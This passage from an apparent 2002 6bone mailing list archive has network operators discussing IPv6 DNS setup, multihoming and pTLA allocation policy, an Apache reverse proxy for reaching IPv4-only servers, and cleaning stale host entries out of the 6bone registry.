As it is now, I have put in A and AAAA records at the same node in the
DNS, and added IPv4-only and IPv6-only nodes below it. So:

	whatever.example.org.		A 127.0.0.1
					AAAA ::1
	ipv4.whatever.example.org.	A 127.0.0.1
	ipv6.whatever.example.org.	AAAA ::1

This way, people who have IPv6-capable clients will get whatever they
are looking for (except DNS, unfortunately - see above on UDP/v6) over
IPv6, and people whose clients are not IPv6-capable will use IPv4 just
fine. If I for some reason want to force either IPv4 or IPv6, I can do
that without any trouble.

I have also set up a few "www6" CNAMEs (and sometimes even AAAAs)
pointing at the IPv6 address records only. Might come in handy some
day and DNS records hardly cost anything...

By the way, remember that allow-v6-synthesisis requires that you allow
the querying client recursion.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From 6bone-owner  Mon Apr 22 08:40:18 2002
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Subject: RE: TLA request 'for multihoming' (was: pTLA request SSVL)
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Pim van Pelt wrote:
> If everyone with an AS will have a TLA then I would be very happy.
> That would mean 64K prefixes in the DFZ ;-)

That is, before we get 32-bit AS numbers.

> From a technical point of view, there is no need for multihoming.
> An ISP (look at the thread I started previously) can maintain
> redundant uplinks to the Internet, multiple peering routers,
> multiple transit carriers, etcetc, without the need for the
> customer to have its prefix announced by more than one ISP.

This does not address:
1. The desire of the customer not to be held hostage by the ISP.
2. The performance requirement that some customers need to have direct
transit from a large number of tier-1.

Michel.


From 6bone-owner  Mon Apr 22 10:15:33 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Nathan Lutchansky'" <lutchann-6bone@litech.org>, <6bone@ISI.EDU>
Subject: RE: [OT] IPv6 applications in active use
Date: Mon, 22 Apr 2002 19:14:34 +0200
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Nathan Lutchansky
> Sent: Monday, April 22, 2002 2:28 PM
> To: 6bone@ISI.EDU
> Subject: Re: [OT] IPv6 applications in active use
> 
> The only services I use that don't have IPv6 support are 
> CUPS, X, and VNC.  
> IPv6 VNC would be really nice on the Windows side, but 
> considering that
> Windows support for everything is so unbelievably weak right 
> now I'm not
> surprised.  I can't hardly make myself more IPv6-y without 
> Microsoft's 
> help.  :-/
> 

X and VNC have IPv6 support:

VNC 3.3.2r3: ftp://ftp.kame.net/pub/kame/misc/
XFree 3.3.3.1: http://cvsweb.pld.org.pl/

I think CUPS too but i don't find the patch.

You can find a lot of informations about ipv6 support on (thank Peter
for this excellent page, don't forgot to update it):
http://bieringer.mirrors.fastnetxp.com/status/IPv6+Linux-status-apps.htm
l

If many people want help me to build a FTP with all ipv6 patchs, ipv6
apps patched, ipv6 docs, and more; please contact me.
You can send me all yours links, yours patchs, and yours recompiled
packages for debian, redhat, freebsd,.....
I plain to finish a first public version of the FTP at the end of this
week (for the moment the ftp use 200mb of disk space)

Best Regards,

Nicolas DEFFAYET


From 6bone-owner  Mon Apr 22 11:00:23 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Phil Benchoff'" <benchoff@vt.edu>, <6bone@ISI.EDU>
Subject: RE: Apache 2.0 Reverse Proxy for v6 access to v4 servers
Date: Mon, 22 Apr 2002 20:00:17 +0200
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Phil Benchoff wrote:

> Jeroen Massar <jeroen@unfix.org> wrote:
> > http://www.ipng.nl runs IPv6 & IPv4 in one Apache 1.3
> > http://games.concepts.nl runs IPv6 & IPv4 in one Apache 2.0.32 and
it's
> > 'abused' for a nice caching trick to allow IPv4-only webservers,
like
> > the current available IIS :(, to be accessed over IPv6:
> >
> > <VirtualHost *>
> >         ServerAdmin webmaster@example.org
> >         ServerName www.example.org
> >         ServerAlias www.ipv6.example.org
> >         ProxyRequests On
> >         ProxyPass / http://www.ipv4.example.org/
> >         ProxyPassReverse / http://www.ipv4.example.org/
> > </VirtualHost>
> 
> 
> I have been playing with this same thing through various betas of
Apache 2.0
> and the released 2.0.35.  The cool thing about this is that
authentication
> is passed through the reverse proxy, i.e. password-protected pages are
> still password protected.  You have to be careful about things
protected
> by IP address or domain name since the v-4 server sees the access from
> the reverse proxy. (Note: I do not have "Proxy Requests On" 
> in my config.)
One will always see the request coming from the proxy's address ofcourse
;)
You could forge that in some weird ways but that would require setting
up stuff
on the remote side and that's exactly what I didn't want to do in this
case.

> Since I started playing with this, I have had problems with partial
data
> being returned.  It has improved with the various releases, but I
still
> see it in 2.0.35.  A typical example looks like this:
> 
>    [Mon Apr 22 08:53:10 2002] [error] [client <v6 address> ] 
> proxy: Error reading from remote server returned by 
> /img/misc/vt-logo.gif, referer:
http://<whtever>.ip6.vt.edu/public/toc.html
> 
> It appears that the Apache 2.0 server tries to fetch
> htdocs/error/HTTP_BAD_GATEWAY.html.var after this happens.  I haven't
looked
> at it enough to figure out exactly what is going on yet.  I've only
tested
> under Linux, and may try a FreeBSD or Tru64 version to see if that
makes
> a difference.
> 
> Anybody else see this problem?
Yeps..... but it went away when I started using the local IPv4 proxy
cache ;)
Simply add "ProxyRemote * proxy.example.org".
Which was the easier way out as I didn't want to add www.ipv4.<realhost>
to every proxied host.
This usually also fixes the bypassing of the IP's as the local proxy is
known to be non-trusted anyways.
Untill one decaffed admin comes along ofcourse. The box
(http://games.concepts.nl) has an Archive of
all kinds of game-patches which go up to 150mb per file sometimes, and
they all get served up cleanly.
To make it a bit more related, Quakeworld and Quake2 IPv6 are mirrored
and running there too ;)

Greets,
 Jeroen


From 6bone-owner  Mon Apr 22 11:04:57 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
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Subject: Re: TLA request 'for multihoming' (was: pTLA request SSVL)
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On Mon, Apr 22, 2002 at 08:40:17AM -0700, Michel Py wrote:
> > Pim van Pelt wrote:
> > If everyone with an AS will have a TLA then I would be very happy.
> > That would mean 64K prefixes in the DFZ ;-)
> 
> That is, before we get 32-bit AS numbers.
> 
> > From a technical point of view, there is no need for multihoming.
> > An ISP (look at the thread I started previously) can maintain
> > redundant uplinks to the Internet, multiple peering routers,
> > multiple transit carriers, etcetc, without the need for the
> > customer to have its prefix announced by more than one ISP.
> 
> This does not address:
> 1. The desire of the customer not to be held hostage by the ISP.
> 2. The performance requirement that some customers need to have direct
> transit from a large number of tier-1.

3. The number of large ISPs now filing Chapter 11 and turning off their
   networks.

For mid-size players, #3 is far more crucial than #2, and is really just a
subset of the causes for #1. Those mid-size players form a significant
chunk of the folks holding ASNs (since the big players aren't numerous,
and the small players have a hard time getting ASNs).

True, 1 ASN -> 1 pTLA works, for now. But, as pointed out above... those
64k numbers are, what, nearly half gone already? Somehow, making the IPv6
situation *worse*, by ensuring we run out faster than IPv4 addresses, does
not seem to be a winning proposition to me...

(Okay, to restrain the hyperbole, it might not be worse, but it certainly
doesn't seem to be a whole lot better, either).
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Mon Apr 22 11:08:44 2002
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From: nileshks78 <nileshks78@yahoo.com>
Subject: hello
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Hello all,

I am very much interested into ipv6 and newbie to it,
I am using dual-stack under linux.

I have got global ipv6 address
3ffe:0b80:2:7db5::2/128.
what this address mean to my network, is it network
addr or host addr. I want to leant more about ipv6,
can anyone tell me what should i do now. I have tried
ping6, traceroute6.

Thanks for helping
Nilesh
pes.edu



=====
Best Things in Life are Free.......like LINUX.
Love Linux forever........

Unix is very simple, but it takes a genius to
understand the simplicity.
(Dennis Ritchie)

__________________________________________________
Do You Yahoo!?
Yahoo! Games - play chess, backgammon, pool and more
http://games.yahoo.com/

From 6bone-owner  Mon Apr 22 11:22:30 2002
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Date: Mon, 22 Apr 2002 20:22:35 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: TLA request 'for multihoming' (was: pTLA request SSVL)
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| That is, before we get 32-bit AS numbers.
Interresting point, are there any concrete plans for this ?
 
| > From a technical point of view, there is no need for multihoming.
| > An ISP (look at the thread I started previously) can maintain
| > redundant uplinks to the Internet, multiple peering routers,
| > multiple transit carriers, etcetc, without the need for the
| > customer to have its prefix announced by more than one ISP.
| 
| This does not address:
| 1. The desire of the customer not to be held hostage by the ISP.
| 2. The performance requirement that some customers need to have direct
| transit from a large number of tier-1.
Both are not technical, but administrative. Especially the first one.

I do not say that these issues are non-existant, I'm merely pointing out
that these have nothing to do with the protocol, but with the way one
organises his/her network topology. (eg, multihoming itself can be done
easily with IPv6 also, but aggregation rules forbid it, as could they
forbid things in the IPv4 world)

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Apr 22 11:57:15 2002
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
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Subject: RE: TLA request 'for multihoming' (was: pTLA request SSVL)
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> From a technical point of view, there is no need for
> multihoming. An ISP
> (look at the thread I started previously) can maintain
> redundant uplinks
> to the Internet, multiple peering routers, multiple transit
> carriers,
> etcetc, without the need for the customer to have its
> prefix announced
> by more than one ISP.

pim, et al,

if i may interject here.. with all due respect, i find such notions
very much out of touch with reality.

there is very much a need for multi-homing, from a service provider as
well as end customer point of view.  the non-existent support for such
a vital topology feature is probably one of the biggest, most glaring
holes in the current fabric of policy and technology that we have.

the 'these are not the droids you're looking for' speech doesn't work
to declare multi-homing obsolete, nor is there any recognizable motion
in the ietf or any other standards body or association that i'm aware
of to provide us with such functionality or functionality which serves
the same purpose.

the non-existance of multi-homing is an issue.  any customer should
have the ability to create multi-homing for redundancy,
load-balancing, whatever as they see fit as there are well known and
well documented uses for it.  one service provider is very much a
single point of failure and unacceptable for those wishing to avoid
such dependency.  for us to stand there and declare to the customer
'dear customer, you need not to worry about redundancy or dependency
on us' will not work, will not allow us to pass the straight face
test, and will get us laughed out the door with all but those
customers who couldn't find a packet with both hands ever.

now, i'm not saying we should approve pTLAs for anyone interested in
multi-homing, but we do have a gaping hole here where there's no real
solution apparent and where standards bodies are of little help at
present.  and to say 'there's no reason or no need' is simply false
from where i stand.

thanks,
chris


From 6bone-owner  Mon Apr 22 13:41:51 2002
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>>> Pim van Pelt wrote:
>>> From a technical point of view, there is no need for multihoming.
>>> An ISP (look at the thread I started previously) can maintain
>>> redundant uplinks to the Internet, multiple peering routers,
>>> multiple transit carriers, etcetc, without the need for the
>>> customer to have its prefix announced by more than one ISP.
 
>> Michel Py wrote:
>> This does not address:
>> 1. The desire of the customer not to be held hostage by the ISP.
>> 2. The performance requirement that some customers need to have
direct
>> transit from a large number of tier-1.

> Pim van Pelt wrote:
> Both are not technical, but administrative. Especially the first one.

I would call the first one political, but the second one is technical, a
matter of getting directly hooked to the major backbone your customer is
hooked to as well.


> Joel Baker wrote:
> 3. The number of large ISPs now filing Chapter 11 and turning off
>    their networks.
> For mid-size players, #3 is far more crucial than #2, and is really
> just a subset of the causes for #1.

I agree.

> Pim van Pelt wrote: 
> (eg, multihoming itself can be done easily with IPv6 also, but
> aggregation rules forbid it, as could they forbid things in the
> IPv4 world)

You are twisting words. What you are saying is that v6 multihoming could
be possible if we changed the rules and that v4 multihoming could be
impossible if we changed the rules. The situation today is that
multihoming can be done and is being done in v4, and does not exist in
v6. There is no way the v4 rules could change at this point.

Michel.


From 6bone-owner  Mon Apr 22 13:59:43 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Apr 22 2002 11:08 -0700, nileshks78 wrote:

> Hello all,
>
> I am very much interested into ipv6 and newbie to it,
> I am using dual-stack under linux.
>
> I have got global ipv6 address
> 3ffe:0b80:2:7db5::2/128.
> what this address mean to my network, is it network
> addr or host addr. I want to leant more about ipv6,
> can anyone tell me what should i do now. I have tried
> ping6, traceroute6.
>
> Thanks for helping
> Nilesh
> pes.edu

Welcome into the brave world of IPv6. :-)

To answer your question: the address you showed
(3ffe:b80:2:7db5::2/128 - yes you can strip any leading zeroes after a
colon, but not trailing zeroes) is a host address. In general, a
network will have either a /64 or a /48, depending on the needs of the
site. A /128 always means a host address - all 128 bits of the IPv6
address have been specified. It's like a phone number - from the area
code you can tell the general area, the prefix gets you closer, but in
order to tell which phone you are reaching, you need all of the
number. Most likely your network is 3ffe:b80:2:7db5::/64.

I tried pinging and tracerouting to you over IPn6 and it does appear
that you have general connectivity working (as one would have
expected). The next logical step is to obtain software that actually
makes use of IPv6 as a transport. One that does is sendmail - another
is Apache 2.0. I believe Konqueror and Mozilla (if compiled correctly)
makes use of IPv6 when available. Another one that does is fetchmail.
The list goes on and on.

Since we have no idea how this system is being used, it gets rather
hard to guess what software you should get...

Hope this helps a little.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From 6bone-owner  Mon Apr 22 14:07:11 2002
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Chris just said exactly what I think except that he said it better than
I could myself.

Michel.

> Christian Kuhtz wrote:
> pim, et al,
>
> if i may interject here.. with all due respect, i find such notions
> very much out of touch with reality.
>
> there is very much a need for multi-homing, from a service provider as
> well as end customer point of view.
> [snip]
> now, i'm not saying we should approve pTLAs for anyone interested in
> multi-homing, but we do have a gaping hole here where there's no real
> solution apparent and where standards bodies are of little help at
> present.  and to say 'there's no reason or no need' is simply false
> from where i stand.
> thanks,
> chris


From 6bone-owner  Mon Apr 22 15:15:03 2002
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On Mon, 22 Apr 2002, Pim van Pelt wrote:

> | 1. The desire of the customer not to be held hostage by the ISP.
> | 2. The performance requirement that some customers need to have direct
> | transit from a large number of tier-1.

> Both are not technical, but administrative. Especially the first one.

but pinned on a technical issue.

if prefixes in DFZ were free, 1,2 above would not be a concern at 
all.

> I do not say that these issues are non-existant, I'm merely
> pointing out that these have nothing to do with the protocol, but

they do though. changing is difficult because of the technicalities 
of addressing and routing.

with my phone service, i can change who provides my PRI without 
having to change my number. 

> with the way one organises his/her network topology. (eg,
> multihoming itself can be done easily with IPv6 also, but
> aggregation rules forbid it, as could they forbid things in the
> IPv4 world)

if i am forbidden from having a DFZ routable prefix, the technical 
issue is left: "how can i have portability between ISPs"?

either there's a technical solution or there isnt.

the administrative question "may foo have a dedicated DFZ routable 
prefix?" is a seperate issue. (though with technical implications. :) 
)

> groet,
> Pim

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
Fortune:
A committee takes root and grows, it flowers, wilts and dies, scattering the
seed from which other committees will bloom.
		-- Parkinson


From 6bone-owner  Mon Apr 22 16:38:39 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
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Subject: 6bone Database cleansing?
Date: Tue, 23 Apr 2002 01:38:40 +0200
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As I was about to create a nice 'ping-over-the-6bone' tool for ourselfs
(IPng.nl) I first tested how many of the hosts actually where alive.
With 'hosts' I mean the 'application: ping' lines found in the nightly
6bone.db.

I conducted the test at around 01:22 CET the 13the of April from
ping.ipng.nl (IPv6) and came up with the following results:

jeroen@tunnelserver:~$ cat 6bone.db | grep application | grep ping | wc
-l
    791

Which (should) mean there are 779 hosts defined in application ping
lines.
I passed all these hosts to a patched version of fping6 which skips
hosts without addrinfo (no AAAA ;)
pinging using 5 icmpv6 packets, which produced the following results

jeroen@tunnelserver:~$ cat output.txt | grep "no addrinfo" | wc -l
    329
jeroen@tunnelserver:~$ cat output.txt | grep "unreachable" | wc -l
    205
jeroen@tunnelserver:~$ cat output.txt | grep "alive" | wc -l
    257

Of these 'unreachables' where:

jeroen@tunnelserver:~$ cat output.txt | grep unreachable | grep -e "^5f"
| wc -l
     26
are of the historical 5fxx:: prefix, I will excuse those.
This still means, assuming all peering was up at the moment, which as
far as I can tell was the case,
that about 175+ hosts weren't reachable for one way or the other and
those 329 that didn't resolve ouch.
I still hope it's a glitch, but a next test today revealed almost the
same results.

And that's only the "application ping" part, now for a more interresting
take, at least I wanted to nag about the fact that
the ipv6-site SURFNET (real) == KRAAKPAND (false) in the database, but
that apparently has been resolved already ;)

I also noticed that not all object/subnetdelegations are noted in the
database nor refered to other whois servers.

With these current stats I will prolly make a wellknown-hosts pinger as
pinging every random site available is a bit overkill anyways.

Greets,
 Jeroen


From 6bone-owner  Tue Apr 23 00:16:42 2002
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From: Blechinger Robert <rblechinger@cybernet-ag.net>
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To: Jeroen Massar <jeroen@unfix.org>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: 6bone Database cleansing?
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Jeroen Massar wrote:
> 
> As I was about to create a nice 'ping-over-the-6bone' tool for ourselfs
> (IPng.nl) I first tested how many of the hosts actually where alive.
> With 'hosts' I mean the 'application: ping' lines found in the nightly
> 6bone.db.
> 
> I passed all these hosts to a patched version of fping6 which skips
> hosts without addrinfo (no AAAA ;)

i have to aggree, there where many "application" lines with no AAAA
record. i think some people doesn't know how to use this application
entries. 

> jeroen@tunnelserver:~$ cat output.txt | grep "no addrinfo" | wc -l
>     329

791 ping entries, 329 of them have no AAAA records.. that's are 41,6
percent!!
in my view, this is a little bit to high ;)

maybe there should some checks when sending the template to the 6bone.db
?

Regards Robert




-- 
    Blechinger Robert
 Cybernet AG - Networking
 email: rblechinger@cybernet-ag.net
 Phone: +49 89 99315 - 116
 Fax:   +49 89 99315 - 199

From 6bone-owner  Tue Apr 23 02:40:10 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
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Subject: Re: 6bone Database cleansing?
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The same results here, tried to ping the entire 6bone database "application
ping" but get only around 10%, 20% of hosts...
The question is: does anybody think to clean up the 6bone database?

Thanks a lot

Matteo Tescione
Ipv6 Dept.
COMV6 - Italy

----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'6bone'" <6bone@ISI.EDU>
Sent: Tuesday, April 23, 2002 1:38 AM
Subject: 6bone Database cleansing?


> As I was about to create a nice 'ping-over-the-6bone' tool for ourselfs
> (IPng.nl) I first tested how many of the hosts actually where alive.
> With 'hosts' I mean the 'application: ping' lines found in the nightly
> 6bone.db.
>
> I conducted the test at around 01:22 CET the 13the of April from
> ping.ipng.nl (IPv6) and came up with the following results:
>
> jeroen@tunnelserver:~$ cat 6bone.db | grep application | grep ping | wc
> -l
>     791
>
> Which (should) mean there are 779 hosts defined in application ping
> lines.
> I passed all these hosts to a patched version of fping6 which skips
> hosts without addrinfo (no AAAA ;)
> pinging using 5 icmpv6 packets, which produced the following results
>
> jeroen@tunnelserver:~$ cat output.txt | grep "no addrinfo" | wc -l
>     329
> jeroen@tunnelserver:~$ cat output.txt | grep "unreachable" | wc -l
>     205
> jeroen@tunnelserver:~$ cat output.txt | grep "alive" | wc -l
>     257
>
> Of these 'unreachables' where:
>
> jeroen@tunnelserver:~$ cat output.txt | grep unreachable | grep -e "^5f"
> | wc -l
>      26
> are of the historical 5fxx:: prefix, I will excuse those.
> This still means, assuming all peering was up at the moment, which as
> far as I can tell was the case,
> that about 175+ hosts weren't reachable for one way or the other and
> those 329 that didn't resolve ouch.
> I still hope it's a glitch, but a next test today revealed almost the
> same results.
>
> And that's only the "application ping" part, now for a more interresting
> take, at least I wanted to nag about the fact that
> the ipv6-site SURFNET (real) == KRAAKPAND (false) in the database, but
> that apparently has been resolved already ;)
>
> I also noticed that not all object/subnetdelegations are noted in the
> database nor refered to other whois servers.
>
> With these current stats I will prolly make a wellknown-hosts pinger as
> pinging every random site available is a bit overkill anyways.
>
> Greets,
>  Jeroen
>


From 6bone-owner  Tue Apr 23 04:41:13 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <rblechinger@noc.eurocyber.net>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 6bone Database cleansing?
Date: Tue, 23 Apr 2002 13:41:11 +0200
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Blechinger Robert [mailto:rblechinger@cybernet-ag.net] wrote:

> Jeroen Massar wrote:
> > 
> > As I was about to create a nice 'ping-over-the-6bone' tool for
ourselfs
> > (IPng.nl) I first tested how many of the hosts actually where alive.
> > With 'hosts' I mean the 'application: ping' lines found in the
nightly
> > 6bone.db.
> > 
> > I passed all these hosts to a patched version of fping6 which skips
> > hosts without addrinfo (no AAAA ;)
> 
> i have to aggree, there where many "application" lines with no AAAA
> record. i think some people doesn't know how to use this application
> entries. 

that's not what I meant, no addinfo means that a hostname's IPv6 address
is not available in the DNS.
eg:
"application: ping 3ffe:8114::1"
or
"application ping ping.ipng.nl"

Will both be 'correct' and work. But if I put a:
"application: ping ping.example.org"
it won't resolve, which is what the "no addrinfo" simply points out;
that there completely is no knowledge about a hostname.
Thus one can conclude that those hosts simply aren't maintained -> and
thus that those 6bone entries aren't maintained either.

> > jeroen@tunnelserver:~$ cat output.txt | grep "no addrinfo" | wc -l
> >     329
> 
> 791 ping entries, 329 of them have no AAAA records.. that's are 41,6
percent!!
> in my view, this is a little bit to high ;)
> 
> maybe there should some checks when sending the template to 
> the 6bone.db
No there should be a cleanup every month, and if a entry seems invalid,
the tech-c etc should be contacted,
after 4 months of no reply they should be sacked. Ofcourse one could
argue that historic items should be conserved.
Then again we could also keep an archive of 6bone.db.gz's per month,
before they are cleansed.

Greets,
 Jeroen


From 6bone-owner  Tue Apr 23 05:16:24 2002
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From: Helios de Creisquer <helios@balios.org>
To: rblechinger@noc.eurocyber.net
Subject: Re: 6bone Database cleansing?
Message-ID: <20020423121101.GN21209@balios.org>
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On Tue, Apr 23, 2002 at 09:24:13AM +0200, Blechinger Robert wrote:
> Jeroen Massar wrote:
> i have to aggree, there where many "application" lines with no AAAA
> record. i think some people doesn't know how to use this application
> entries. 

Yep, it's my case, I dont remind seeing anything about that...

I have some hosts alive in 6bone space, but no DNS pointing to them,
and no application: line ;-)

I should have a public DNS working soon... but for the application:
lines, where can I add these ?

Cheers,
-- 
               Helios de Creisquer      <helios@balios.org>
http://www.tuxfamily.org/                        <creis@tuxfamily.org>
http://www.vhffs.org/      +33 (0)6 70 71 20 29      <creis@vhffs.org>
http://www.gnu.org/                                    <creis@gnu.org>
GPG(1024D/96EB1C44): FB11 8B80 4D86 D9C2 DE0C 11D7 2FA8 A5CC 96EB 1C44

From 6bone-owner  Tue Apr 23 07:00:06 2002
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From: "Cleve Mickles" <micklesc@aol.net>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 6bone Database cleansing?
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There are also a number of cases where companies have received
6BONE allocations and have since gone out of business.  Their 
PTLA allocations may have been recovered by Bob but the registry
entries remain in the database.  Is it possible to get these 
removed as well?  When folks see my pinger page it looks like the
6Bone is having a terrible day in terms of reachability.


Cleve...

Cleve Mickles
Network Architect
America Online, Network Operations 

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> Blechinger Robert
> Sent: Tuesday, April 23, 2002 3:24 AM
> To: Jeroen Massar
> Cc: '6bone'
> Subject: Re: 6bone Database cleansing?
> 
> 
> Jeroen Massar wrote:
> > 
> > As I was about to create a nice 'ping-over-the-6bone' tool for ourselfs
> > (IPng.nl) I first tested how many of the hosts actually where alive.
> > With 'hosts' I mean the 'application: ping' lines found in the nightly
> > 6bone.db.
> > 
> > I passed all these hosts to a patched version of fping6 which skips
> > hosts without addrinfo (no AAAA ;)
> 
> i have to aggree, there where many "application" lines with no AAAA
> record. i think some people doesn't know how to use this application
> entries. 
> 
> > jeroen@tunnelserver:~$ cat output.txt | grep "no addrinfo" | wc -l
> >     329
> 
> 791 ping entries, 329 of them have no AAAA records.. that's are 41,6
> percent!!
> in my view, this is a little bit to high ;)
> 
> maybe there should some checks when sending the template to the 6bone.db
> ?
> 
> Regards Robert
> 
> 
> 
> 
> -- 
>     Blechinger Robert
>  Cybernet AG - Networking
>  email: rblechinger@cybernet-ag.net
>  Phone: +49 89 99315 - 116
>  Fax:   +49 89 99315 - 199
> 

From 6bone-owner  Tue Apr 23 07:54:15 2002
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Date: Tue, 23 Apr 2002 07:53:24 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4003::/32 allocated to RMNET 
Cc: "Stefano Rotellini - RMnet" <s.rotellini@rmnet.it>,
        6bone reverse DNS registration <hostmaster@ep.net>
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RMNET has been allocated pTLA 3FFE:4003::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?RMNET>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Tue Apr 23 08:00:58 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Jeroen Massar'" <jeroen@unfix.org>, <rblechinger@noc.eurocyber.net>
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Jeroen Massar
> Sent: Tuesday, April 23, 2002 1:41 PM
> To: rblechinger@noc.eurocyber.net
> Cc: '6bone'
> Subject: RE: 6bone Database cleansing?
>
> > > 
> > > I passed all these hosts to a patched version of fping6 
> which skips
> > > hosts without addrinfo (no AAAA ;)
> > 
> > i have to aggree, there where many "application" lines with no AAAA
> > record. i think some people doesn't know how to use this application
> > entries. 
> 
> that's not what I meant, no addinfo means that a hostname's 
> IPv6 address
> is not available in the DNS.
> eg:
> "application: ping 3ffe:8114::1"
> or
> "application ping ping.ipng.nl"
> 
> Will both be 'correct' and work. But if I put a:
> "application: ping ping.example.org"
> it won't resolve, which is what the "no addrinfo" simply points out;
> that there completely is no knowledge about a hostname.
> Thus one can conclude that those hosts simply aren't maintained -> and
> thus that those 6bone entries aren't maintained either.

I suggest to add a verification like the AS or IPs block in the whois
server for check if the host have a valid AAAA or A6 record.

> 
> > > jeroen@tunnelserver:~$ cat output.txt | grep "no addrinfo" | wc -l
> > >     329
> > 
> > 791 ping entries, 329 of them have no AAAA records.. that's are 41,6
> percent!!
> > in my view, this is a little bit to high ;)
> > 
> > maybe there should some checks when sending the template to 
> > the 6bone.db
> No there should be a cleanup every month, and if a entry 
> seems invalid,
> the tech-c etc should be contacted,
> after 4 months of no reply they should be sacked. Ofcourse one could
> argue that historic items should be conserved.
> Then again we could also keep an archive of 6bone.db.gz's per month,
> before they are cleansed.

I agree with this.

Best regards,

Nicolas DEFFAYET



From 6bone-owner  Tue Apr 23 08:56:33 2002
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From: "Andreas 'randy' Weinberger" <randy@ipcenta.de>
To: <6bone@ISI.EDU>
References: <007c01c1ea56$d5563bd0$420d640a@unfix.org> <3CC50C1D.BE5969A1@cybernet-ag.net> <20020423121101.GN21209@balios.org>
Subject: Re: 6bone Database cleansing?
Date: Tue, 23 Apr 2002 17:58:03 +0200
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hoi helios,

> I should have a public DNS working soon... but for the application:
> lines, where can I add these ?

something like this in the 6bone whois db:

application:  domain dns1.v6bone.de

or

application:  nntp news.v6bone.de


> Cheers,
> -- 
>                Helios de Creisquer      <helios@balios.org>


bye, 
--------- andreas 'randy' weinberger ---------

         internet system engineer,
 php development, sun microsystems workgroup
   computing expert & digitale videotechnik
 
  CompleTel GmbH (http://www.completel.de/)
-------



From 6bone-owner  Tue Apr 23 09:42:39 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: <micklesc@aol.net>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 6bone Database cleansing?
Date: Tue, 23 Apr 2002 18:41:37 +0200
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Cleve Mickles
> Sent: Tuesday, April 23, 2002 4:00 PM
> To: '6bone'
> Subject: RE: 6bone Database cleansing?
> 
> 
> 
> There are also a number of cases where companies have received
> 6BONE allocations and have since gone out of business.  Their 
> PTLA allocations may have been recovered by Bob but the registry
> entries remain in the database.  Is it possible to get these 
> removed as well?  When folks see my pinger page it looks like the
> 6Bone is having a terrible day in terms of reachability.
> 
> 

I think it's a good idea.
And delete pTLA of ISP who don't use their pTLA when this ISP have a
sTLA.

In my routing table, i don't have routes for this pTLA:

ZAMA 3FFE:80F0::/28
6COM 3FFE:1900::/24
NTT-DOCOMO 3FFE:8370::/28
UL 3FFE:1B00::/24
SWISSCOM 3FFE:1E00::/24 
UNI-C 3FFE:1400::/24
IPF 3FFE:3400::/24 
MREN 3FFE:1700::/24
ANSNET 3FFE:0D00::/24 
INFN-CNAF 3FFE:2300::/24 
CAIRN 3FFE:1A00::/24 
IFB 3FFE:0E00::/24 
GLOBAL 3FFE:8340::/28 
UCB-BR 3FFE:3A00::/24 
SURFNET 3FFE:0600::/24 
TELEPAC 3FFE:4000::/32
MOTOROLA-LABS 3FFE:4002::/32

Best Regards,

Nicolas DEFFAYET


From 6bone-owner  Tue Apr 23 10:58:42 2002
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Date: Tue, 23 Apr 2002 19:58:40 +0200 (CDT)
From: Michael Kjorling <michael@kjorling.com>
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-----BEGIN PGP SIGNED MESSAGE-----
